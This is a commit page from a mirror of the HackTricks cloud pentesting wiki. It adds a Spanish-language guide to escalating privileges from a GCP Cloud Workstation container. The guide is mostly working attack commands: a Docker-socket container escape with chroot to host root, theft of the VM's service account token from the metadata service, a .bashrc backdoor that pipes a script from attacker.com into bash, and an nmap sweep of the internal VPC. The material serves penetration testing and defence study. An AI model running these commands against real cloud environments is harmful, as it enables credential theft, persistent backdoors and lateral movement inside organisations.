mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
+96
@@ -0,0 +1,96 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
El principal camino de escalada de privilegios en Cloud Workstations proviene de la necesidad de soportar flujos de trabajo **Docker-in-Docker (DinD)** para desarrolladores. Cuando la configuración del workstation monta el Docker socket o permite contenedores privilegiados (una configuración común), un atacante dentro del contenedor del workstation puede escapar a la Compute Engine VM subyacente y robar su token de cuenta de servicio.
|
||||
|
||||
**Prerequisitos:**
|
||||
- Acceso a un terminal de Cloud Workstation (vía SSH, sesión comprometida o credenciales robadas)
|
||||
- La configuración del workstation debe montar `/var/run/docker.sock` o habilitar contenedores privilegiados
|
||||
|
||||
**Contexto de arquitectura:** El workstation es un contenedor (Capa 3) que se ejecuta en un runtime Docker/Containerd (Capa 2) sobre una GCE VM (Capa 1). El Docker socket da acceso directo al runtime de contenedores del host.
|
||||
|
||||
> [!NOTE]
|
||||
> La herramienta [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiza el escape completo del contenedor y te deja en una shell root en la VM host.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Paso 1: Comprobar Docker socket</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
# Expected output: srw-rw---- 1 root docker 0 ...
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Paso 2: Escapar al sistema de archivos de la VM host</summary>
|
||||
|
||||
Lanzamos un contenedor privilegiado, montando el directorio raíz del host en `/mnt/host`. También compartimos la red del host y el namespace PID para maximizar la visibilidad.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
-v /:/mnt/host \
|
||||
alpine sh
|
||||
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Ahora tienes un **root shell en la Compute Engine VM subyacente** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Paso 3: Robar el token de la cuenta de servicio de la VM desde IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Check which service account is attached
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
|
||||
# Check scopes (CRITICAL STEP)
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **¡Comprueba los Scopes!**
|
||||
> Aunque la Service Account adjunta sea **Editor**, la VM podría estar restringida por los scopes de acceso.
|
||||
> Si ves `https://www.googleapis.com/auth/cloud-platform`, tienes acceso completo.
|
||||
> Si solo ves `logging.write` y `monitoring.write`, estás limitado a los vectores **Network Pivot** y **Persistence** que aparecen a continuación.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Paso 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations montan un disco persistente en `/home/user`. Como el container user (normalmente `user`, UID 1000) coincide con el host user (UID 1000), puedes escribir en el directorio home del host. Esto te permite backdoor the environment incluso si el workstation container se reconstruye.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
|
||||
# Drop a backdoor that executes next time the developer logs in
|
||||
# Note: Do this from the container escape context
|
||||
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Dado que compartes el espacio de nombres de red del host (`--net=host`), ahora eres un nodo de confianza en la VPC. Puedes escanear servicios internos que permitan acceso basado en IP whitelisting.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
# Scan the internal VPC subnet
|
||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||
```
|
||||
</details>
|
||||
Reference in New Issue
Block a user